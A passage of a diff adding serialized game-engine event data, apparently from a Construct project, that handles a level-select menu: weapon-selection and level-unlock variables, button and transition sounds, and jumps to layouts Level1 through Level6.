+ 40,
+ null,
+ 421692174706045,
+ false,
+ [
+ [
+ 6,
+ "Level1"
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 187475035533515,
+ [
+ [
+ -1,
+ 43,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 731441511521933,
+ false,
+ [
+ [
+ 11,
+ "weaponselected"
+ ],
+ [
+ 8,
+ 0
+ ],
+ [
+ 7,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ 280,
+ 75,
+ null,
+ 692494310917685,
+ false,
+ [
+ [
+ 0,
+ [
+ 0,
+ 202
+ ]
+ ],
+ [
+ 0,
+ [
+ 0,
+ 373
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 217775109701154,
+ [
+ [
+ -1,
+ 43,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 410836553580944,
+ false,
+ [
+ [
+ 11,
+ "weaponselected"
+ ],
+ [
+ 8,
+ 0
+ ],
+ [
+ 7,
+ [
+ 0,
+ 2
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ 280,
+ 75,
+ null,
+ 173155988733115,
+ false,
+ [
+ [
+ 0,
+ [
+ 0,
+ 302
+ ]
+ ],
+ [
+ 0,
+ [
+ 0,
+ 373
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 660285184769896,
+ [
+ [
+ -1,
+ 43,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 302780051768560,
+ false,
+ [
+ [
+ 11,
+ "weaponselected"
+ ],
+ [
+ 8,
+ 0
+ ],
+ [
+ 7,
+ [
+ 0,
+ 3
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ 280,
+ 75,
+ null,
+ 569753758874648,
+ false,
+ [
+ [
+ 0,
+ [
+ 0,
+ 402
+ ]
+ ],
+ [
+ 0,
+ [
+ 0,
+ 373
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 843214366108268,
+ [
+ [
+ -1,
+ 43,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 191862519054096,
+ false,
+ [
+ [
+ 11,
+ "weaponselected"
+ ],
+ [
+ 8,
+ 0
+ ],
+ [
+ 7,
+ [
+ 0,
+ 4
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ 280,
+ 75,
+ null,
+ 883904220561246,
+ false,
+ [
+ [
+ 0,
+ [
+ 0,
+ 502
+ ]
+ ],
+ [
+ 0,
+ [
+ 0,
+ 373
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 194323077029907,
+ [
+ [
+ -1,
+ 43,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 658868890020279,
+ false,
+ [
+ [
+ 11,
+ "weaponselected"
+ ],
+ [
+ 8,
+ 0
+ ],
+ [
+ 7,
+ [
+ 0,
+ 5
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ 280,
+ 75,
+ null,
+ 509183606653510,
+ false,
+ [
+ [
+ 0,
+ [
+ 0,
+ 602
+ ]
+ ],
+ [
+ 0,
+ [
+ 0,
+ 373
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 283723602069694,
+ [
+ [
+ -1,
+ 34,
+ null,
+ 1,
+ false,
+ false,
+ false,
+ 697539427826062,
+ false
+ ]
+ ],
+ [
+ [
+ -1,
+ 29,
+ null,
+ 113575512394867,
+ false,
+ [
+ [
+ 0,
+ [
+ 1,
+ 0.1
+ ]
+ ]
+ ]
+ ],
+ [
+ 4,
+ 33,
+ null,
+ 349302091716151,
+ false,
+ [
+ [
+ 2,
+ [
+ "transition",
+ false
+ ]
+ ],
+ [
+ 3,
+ 0
+ ],
+ [
+ 0,
+ [
+ 0,
+ 0
+ ]
+ ],
+ [
+ 1,
+ [
+ 2,
+ ""
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 112960425901953,
+ [
+ [
+ -1,
+ 43,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 223533286859416,
+ false,
+ [
+ [
+ 11,
+ "Levelunlocker"
+ ],
+ [
+ 8,
+ 5
+ ],
+ [
+ 7,
+ [
+ 0,
+ 2
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ 417,
+ 30,
+ null,
+ 965514508851347,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ "si"
+ ]
+ ],
+ [
+ 3,
+ 1
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 436170992387022,
+ [
+ [
+ -1,
+ 106,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 712983233055677,
+ false
+ ]
+ ],
+ [
+ [
+ 417,
+ 30,
+ null,
+ 833187328170790,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ "no"
+ ]
+ ],
+ [
+ 3,
+ 1
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 628838629753032,
+ [
+ [
+ -1,
+ 43,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 907085411213156,
+ false,
+ [
+ [
+ 11,
+ "Levelunlocker"
+ ],
+ [
+ 8,
+ 5
+ ],
+ [
+ 7,
+ [
+ 0,
+ 3
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ 418,
+ 30,
+ null,
+ 708972857320545,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ "si"
+ ]
+ ],
+ [
+ 3,
+ 1
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 501776914259126,
+ [
+ [
+ -1,
+ 106,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 284470167134578,
+ false
+ ]
+ ],
+ [
+ [
+ 418,
+ 30,
+ null,
+ 337474468107974,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ "no"
+ ]
+ ],
+ [
+ 3,
+ 1
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 967492846719021,
+ [
+ [
+ -1,
+ 43,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 866350243261265,
+ false,
+ [
+ [
+ 11,
+ "Levelunlocker"
+ ],
+ [
+ 8,
+ 5
+ ],
+ [
+ 7,
+ [
+ 0,
+ 4
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ 419,
+ 30,
+ null,
+ 896431057046134,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ "si"
+ ]
+ ],
+ [
+ 3,
+ 1
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 415721811619952,
+ [
+ [
+ -1,
+ 106,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 426290782010830,
+ false
+ ]
+ ],
+ [
+ [
+ 419,
+ 30,
+ null,
+ 864223379327758,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ "no"
+ ]
+ ],
+ [
+ 3,
+ 1
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 872541804604730,
+ [
+ [
+ -1,
+ 43,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 804419946941053,
+ false,
+ [
+ [
+ 11,
+ "Levelunlocker"
+ ],
+ [
+ 8,
+ 5
+ ],
+ [
+ 7,
+ [
+ 0,
+ 5
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ 420,
+ 30,
+ null,
+ 315510336472822,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ "si"
+ ]
+ ],
+ [
+ 3,
+ 1
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 334395631438063,
+ [
+ [
+ -1,
+ 106,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 840355500885940,
+ false
+ ]
+ ],
+ [
+ [
+ 420,
+ 30,
+ null,
+ 534362729931499,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ "no"
+ ]
+ ],
+ [
+ 3,
+ 1
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 161999675970386,
+ [
+ [
+ -1,
+ 43,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 255077485996145,
+ false,
+ [
+ [
+ 11,
+ "Levelunlocker"
+ ],
+ [
+ 8,
+ 5
+ ],
+ [
+ 7,
+ [
+ 0,
+ 6
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ 421,
+ 30,
+ null,
+ 511194546875255,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ "si"
+ ]
+ ],
+ [
+ 3,
+ 1
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 923201927113379,
+ [
+ [
+ -1,
+ 106,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 266546867104887,
+ false
+ ]
+ ],
+ [
+ [
+ 421,
+ 30,
+ null,
+ 706576325527318,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ "no"
+ ]
+ ],
+ [
+ 3,
+ 1
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 297311750937208,
+ [
+ [
+ -1,
+ 43,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 422699684112117,
+ false,
+ [
+ [
+ 11,
+ "Levelunlocker"
+ ],
+ [
+ 8,
+ 5
+ ],
+ [
+ 7,
+ [
+ 0,
+ 7
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ 422,
+ 30,
+ null,
+ 288514582149073,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ "si"
+ ]
+ ],
+ [
+ 3,
+ 1
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 896333020323365,
+ [
+ [
+ -1,
+ 106,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 477157041961663,
+ false
+ ]
+ ],
+ [
+ [
+ 422,
+ 30,
+ null,
+ 247467497167825,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ "no"
+ ]
+ ],
+ [
+ 3,
+ 1
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 936741201187345,
+ [
+ [
+ -1,
+ 43,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 566592011877405,
+ false,
+ [
+ [
+ 11,
+ "Levelunlocker"
+ ],
+ [
+ 8,
+ 5
+ ],
+ [
+ 7,
+ [
+ 0,
+ 8
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ 423,
+ 30,
+ null,
+ 542522998655653,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ "si"
+ ]
+ ],
+ [
+ 3,
+ 1
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 144711581286479,
+ [
+ [
+ -1,
+ 106,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 808974154183259,
+ false
+ ]
+ ],
+ [
+ [
+ 423,
+ 30,
+ null,
+ 119187951574872,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ "no"
+ ]
+ ],
+ [
+ 3,
+ 1
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 673821171863831,
+ [
+ [
+ -1,
+ 43,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 512080769718847,
+ false,
+ [
+ [
+ 11,
+ "Levelunlocker"
+ ],
+ [
+ 8,
+ 5
+ ],
+ [
+ 7,
+ [
+ 0,
+ 9
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ 424,
+ 30,
+ null,
+ 218885345931778,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ "si"
+ ]
+ ],
+ [
+ 3,
+ 1
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 797918848644458,
+ [
+ [
+ -1,
+ 106,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 905594767427639,
+ false
+ ]
+ ],
+ [
+ [
+ 424,
+ 30,
+ null,
+ 733620286705211,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ "no"
+ ]
+ ],
+ [
+ 3,
+ 1
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 978792571186791,
+ [
+ [
+ -1,
+ 43,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 893567854353405,
+ false,
+ [
+ [
+ 11,
+ "Levelunlocker"
+ ],
+ [
+ 8,
+ 5
+ ],
+ [
+ 7,
+ [
+ 0,
+ 10
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ 425,
+ 30,
+ null,
+ 551481625906599,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ "si"
+ ]
+ ],
+ [
+ 3,
+ 1
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 885229761666863,
+ [
+ [
+ -1,
+ 106,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 208628069890433,
+ false
+ ]
+ ],
+ [
+ [
+ 425,
+ 30,
+ null,
+ 352055845456825,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ "no"
+ ]
+ ],
+ [
+ 3,
+ 1
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 726129195987415,
+ [
+ [
+ -1,
+ 43,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 406039763443771,
+ false,
+ [
+ [
+ 11,
+ "Levelunlocker"
+ ],
+ [
+ 8,
+ 5
+ ],
+ [
+ 7,
+ [
+ 0,
+ 11
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ 426,
+ 30,
+ null,
+ 700864160762408,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ "si"
+ ]
+ ],
+ [
+ 3,
+ 1
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 525779069409498,
+ [
+ [
+ -1,
+ 106,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 186056366019635,
+ false
+ ]
+ ],
+ [
+ [
+ 426,
+ 30,
+ null,
+ 211391762875140,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ "no"
+ ]
+ ],
+ [
+ 3,
+ 1
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 743492584822322,
+ [
+ [
+ -1,
+ 43,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 447849513621601,
+ false,
+ [
+ [
+ 11,
+ "Levelunlocker"
+ ],
+ [
+ 8,
+ 5
+ ],
+ [
+ 7,
+ [
+ 0,
+ 12
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ 427,
+ 30,
+ null,
+ 190096375330675,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ "si"
+ ]
+ ],
+ [
+ 3,
+ 1
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 888493506982919,
+ [
+ [
+ -1,
+ 106,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 184168724920805,
+ false
+ ]
+ ],
+ [
+ [
+ 427,
+ 30,
+ null,
+ 910031759788663,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ "no"
+ ]
+ ],
+ [
+ 3,
+ 1
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 430980927502995,
+ [
+ [
+ -1,
+ 43,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 691447574623325,
+ false,
+ [
+ [
+ 11,
+ "Levelunlocker"
+ ],
+ [
+ 8,
+ 5
+ ],
+ [
+ 7,
+ [
+ 0,
+ 13
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ 428,
+ 30,
+ null,
+ 586944273023950,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ "si"
+ ]
+ ],
+ [
+ 3,
+ 1
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 188942226039252,
+ [
+ [
+ -1,
+ 106,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 697786352617880,
+ false
+ ]
+ ],
+ [
+ [
+ 428,
+ 30,
+ null,
+ 560287871931349,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ "no"
+ ]
+ ],
+ [
+ 3,
+ 1
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 995262097763997,
+ [
+ [
+ -1,
+ 43,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 788298811292553,
+ false,
+ [
+ [
+ 11,
+ "Levelunlocker"
+ ],
+ [
+ 8,
+ 5
+ ],
+ [
+ 7,
+ [
+ 0,
+ 14
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ 429,
+ 30,
+ null,
+ 839291875789855,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ "si"
+ ]
+ ],
+ [
+ 3,
+ 1
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 260775042333971,
+ [
+ [
+ -1,
+ 106,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 328035884036500,
+ false
+ ]
+ ],
+ [
+ [
+ 429,
+ 30,
+ null,
+ 175341646132100,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ "no"
+ ]
+ ],
+ [
+ 3,
+ 1
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 366762464113750,
+ [
+ [
+ -1,
+ 43,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 735961831223407,
+ false,
+ [
+ [
+ 11,
+ "Levelunlocker"
+ ],
+ [
+ 8,
+ 5
+ ],
+ [
+ 7,
+ [
+ 0,
+ 14
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ 415,
+ 30,
+ null,
+ 306397462059094,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ "si"
+ ]
+ ],
+ [
+ 3,
+ 1
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 513421565733306,
+ [
+ [
+ -1,
+ 106,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 104404555564045,
+ false
+ ]
+ ],
+ [
+ [
+ 415,
+ 30,
+ null,
+ 344133034881515,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ "no"
+ ]
+ ],
+ [
+ 3,
+ 1
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 640445615061638,
+ [
+ [
+ 0,
+ 37,
+ null,
+ 1,
+ false,
+ false,
+ false,
+ 532725389181606,
+ false,
+ [
+ [
+ 4,
+ 416
+ ]
+ ]
+ ],
+ [
+ -1,
+ 43,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 849816005583383,
+ false,
+ [
+ [
+ 11,
+ "Levelunlocker"
+ ],
+ [
+ 8,
+ 5
+ ],
+ [
+ 7,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ 4,
+ 33,
+ null,
+ 697685710751433,
+ false,
+ [
+ [
+ 2,
+ [
+ "button",
+ false
+ ]
+ ],
+ [
+ 3,
+ 0
+ ],
+ [
+ 0,
+ [
+ 0,
+ 0
+ ]
+ ],
+ [
+ 1,
+ [
+ 2,
+ ""
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 29,
+ null,
+ 300877442582837,
+ false,
+ [
+ [
+ 0,
+ [
+ 1,
+ 0.1
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 40,
+ null,
+ 856117352240654,
+ false,
+ [
+ [
+ 6,
+ "Level1"
+ ]
+ ]
+ ],
+ [
+ 4,
+ 32,
+ null,
+ 199968134295988,
+ false
+ ],
+ [
+ 4,
+ 33,
+ null,
+ 255135867959688,
+ false,
+ [
+ [
+ 2,
+ [
+ "gameplay",
+ false
+ ]
+ ],
+ [
+ 3,
+ 1
+ ],
+ [
+ 0,
+ [
+ 0,
+ 0
+ ]
+ ],
+ [
+ 1,
+ [
+ 2,
+ ""
+ ]
+ ]
+ ]
+ ],
+ [
+ 554,
+ 39,
+ null,
+ 371884339319942,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ ""
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 897586012914540,
+ [
+ [
+ 0,
+ 37,
+ null,
+ 1,
+ false,
+ false,
+ false,
+ 281740891855848,
+ false,
+ [
+ [
+ 4,
+ 417
+ ]
+ ]
+ ],
+ [
+ -1,
+ 43,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 713110459031242,
+ false,
+ [
+ [
+ 11,
+ "Levelunlocker"
+ ],
+ [
+ 8,
+ 5
+ ],
+ [
+ 7,
+ [
+ 0,
+ 2
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ -1,
+ 29,
+ null,
+ 313672750508470,
+ false,
+ [
+ [
+ 0,
+ [
+ 1,
+ 0.1
+ ]
+ ]
+ ]
+ ],
+ [
+ 4,
+ 33,
+ null,
+ 672793753197412,
+ false,
+ [
+ [
+ 2,
+ [
+ "button",
+ false
+ ]
+ ],
+ [
+ 3,
+ 0
+ ],
+ [
+ 0,
+ [
+ 0,
+ 0
+ ]
+ ],
+ [
+ 1,
+ [
+ 2,
+ ""
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 40,
+ null,
+ 696608703813737,
+ false,
+ [
+ [
+ 6,
+ "Level2"
+ ]
+ ]
+ ],
+ [
+ 4,
+ 32,
+ null,
+ 969481589571568,
+ false
+ ],
+ [
+ 4,
+ 33,
+ null,
+ 520224277017957,
+ false,
+ [
+ [
+ 2,
+ [
+ "gameplay",
+ false
+ ]
+ ],
+ [
+ 3,
+ 1
+ ],
+ [
+ 0,
+ [
+ 0,
+ 0
+ ]
+ ],
+ [
+ 1,
+ [
+ 2,
+ ""
+ ]
+ ]
+ ]
+ ],
+ [
+ 554,
+ 39,
+ null,
+ 449979899537512,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ ""
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 996332546987384,
+ [
+ [
+ 0,
+ 37,
+ null,
+ 1,
+ false,
+ false,
+ false,
+ 895543059687038,
+ false,
+ [
+ [
+ 4,
+ 418
+ ]
+ ]
+ ],
+ [
+ -1,
+ 43,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 201198594393624,
+ false,
+ [
+ [
+ 11,
+ "Levelunlocker"
+ ],
+ [
+ 8,
+ 5
+ ],
+ [
+ 7,
+ [
+ 0,
+ 3
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ 4,
+ 33,
+ null,
+ 854915288956912,
+ false,
+ [
+ [
+ 2,
+ [
+ "button",
+ false
+ ]
+ ],
+ [
+ 3,
+ 0
+ ],
+ [
+ 0,
+ [
+ 0,
+ 0
+ ]
+ ],
+ [
+ 1,
+ [
+ 2,
+ ""
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 29,
+ null,
+ 405077020612523,
+ false,
+ [
+ [
+ 0,
+ [
+ 1,
+ 0.1
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 40,
+ null,
+ 387048820363273,
+ false,
+ [
+ [
+ 6,
+ "Level3"
+ ]
+ ]
+ ],
+ [
+ 4,
+ 32,
+ null,
+ 831319081964041,
+ false
+ ],
+ [
+ 4,
+ 33,
+ null,
+ 466134286640435,
+ false,
+ [
+ [
+ 2,
+ [
+ "gameplay",
+ false
+ ]
+ ],
+ [
+ 3,
+ 1
+ ],
+ [
+ 0,
+ [
+ 0,
+ 0
+ ]
+ ],
+ [
+ 1,
+ [
+ 2,
+ ""
+ ]
+ ]
+ ]
+ ],
+ [
+ 554,
+ 39,
+ null,
+ 204148344005383,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ ""
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 616297371698362,
+ [
+ [
+ 0,
+ 37,
+ null,
+ 1,
+ false,
+ false,
+ false,
+ 501566152847194,
+ false,
+ [
+ [
+ 4,
+ 419
+ ]
+ ]
+ ],
+ [
+ -1,
+ 43,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 530083893272324,
+ false,
+ [
+ [
+ 11,
+ "Levelunlocker"
+ ],
+ [
+ 8,
+ 5
+ ],
+ [
+ 7,
+ [
+ 0,
+ 4
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ 4,
+ 33,
+ null,
+ 869071747661104,
+ false,
+ [
+ [
+ 2,
+ [
+ "button",
+ false
+ ]
+ ],
+ [
+ 3,
+ 0
+ ],
+ [
+ 0,
+ [
+ 0,
+ 0
+ ]
+ ],
+ [
+ 1,
+ [
+ 2,
+ ""
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 29,
+ null,
+ 522149138009869,
+ false,
+ [
+ [
+ 0,
+ [
+ 1,
+ 0.1
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 40,
+ null,
+ 778871155999708,
+ false,
+ [
+ [
+ 6,
+ "Level4"
+ ]
+ ]
+ ],
+ [
+ 4,
+ 32,
+ null,
+ 228050988858214,
+ false
+ ],
+ [
+ 4,
+ 33,
+ null,
+ 196268967892570,
+ false,
+ [
+ [
+ 2,
+ [
+ "gameplay",
+ false
+ ]
+ ],
+ [
+ 3,
+ 1
+ ],
+ [
+ 0,
+ [
+ 0,
+ 0
+ ]
+ ],
+ [
+ 1,
+ [
+ 2,
+ ""
+ ]
+ ]
+ ]
+ ],
+ [
+ 554,
+ 39,
+ null,
+ 414287071644928,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ ""
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 145658218293361,
+ [
+ [
+ 0,
+ 37,
+ null,
+ 1,
+ false,
+ false,
+ false,
+ 963895584865863,
+ false,
+ [
+ [
+ 4,
+ 420
+ ]
+ ]
+ ],
+ [
+ -1,
+ 43,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 198296940979131,
+ false,
+ [
+ [
+ 11,
+ "Levelunlocker"
+ ],
+ [
+ 8,
+ 5
+ ],
+ [
+ 7,
+ [
+ 0,
+ 5
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ 4,
+ 33,
+ null,
+ 960156657329087,
+ false,
+ [
+ [
+ 2,
+ [
+ "button",
+ false
+ ]
+ ],
+ [
+ 3,
+ 0
+ ],
+ [
+ 0,
+ [
+ 0,
+ 0
+ ]
+ ],
+ [
+ 1,
+ [
+ 2,
+ ""
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 29,
+ null,
+ 983990225828716,
+ false,
+ [
+ [
+ 0,
+ [
+ 1,
+ 0.1
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 40,
+ null,
+ 902677632134901,
+ false,
+ [
+ [
+ 6,
+ "Level5"
+ ]
+ ]
+ ],
+ [
+ 4,
+ 32,
+ null,
+ 207583397588327,
+ false
+ ],
+ [
+ 4,
+ 33,
+ null,
+ 260090463071656,
+ false,
+ [
+ [
+ 2,
+ [
+ "gameplay",
+ false
+ ]
+ ],
+ [
+ 3,
+ 1
+ ],
+ [
+ 0,
+ [
+ 0,
+ 0
+ ]
+ ],
+ [
+ 1,
+ [
+ 2,
+ ""
+ ]
+ ]
+ ]
+ ],
+ [
+ 554,
+ 39,
+ null,
+ 242423911825940,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ ""
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 401714290677874,
+ [
+ [
+ 0,
+ 37,
+ null,
+ 1,
+ false,
+ false,
+ false,
+ 634474859990428,
+ false,
+ [
+ [
+ 4,
+ 421
+ ]
+ ]
+ ],
+ [
+ -1,
+ 43,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 777926917856050,
+ false,
+ [
+ [
+ 11,
+ "Levelunlocker"
+ ],
+ [
+ 8,
+ 5
+ ],
+ [
+ 7,
+ [
+ 0,
+ 6
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ 4,
+ 33,
+ null,
+ 344143473023290,
+ false,
+ [
+ [
+ 2,
+ [
+ "button",
+ false
+ ]
+ ],
+ [
+ 3,
+ 0
+ ],
+ [
+ 0,
+ [
+ 0,
+ 0
+ ]
+ ],
+ [
+ 1,
+ [
+ 2,
+ ""
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 29,
+ null,
+ 475013483316195,
+ false,
+ [
+ [
+ 0,
+ [
+ 1,
+ 0.1
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 40,
+ null,
+ 957322191984436,
+ false,
+ [
+ [
+ 6,
+ "Level6"
+ ]
+ ]
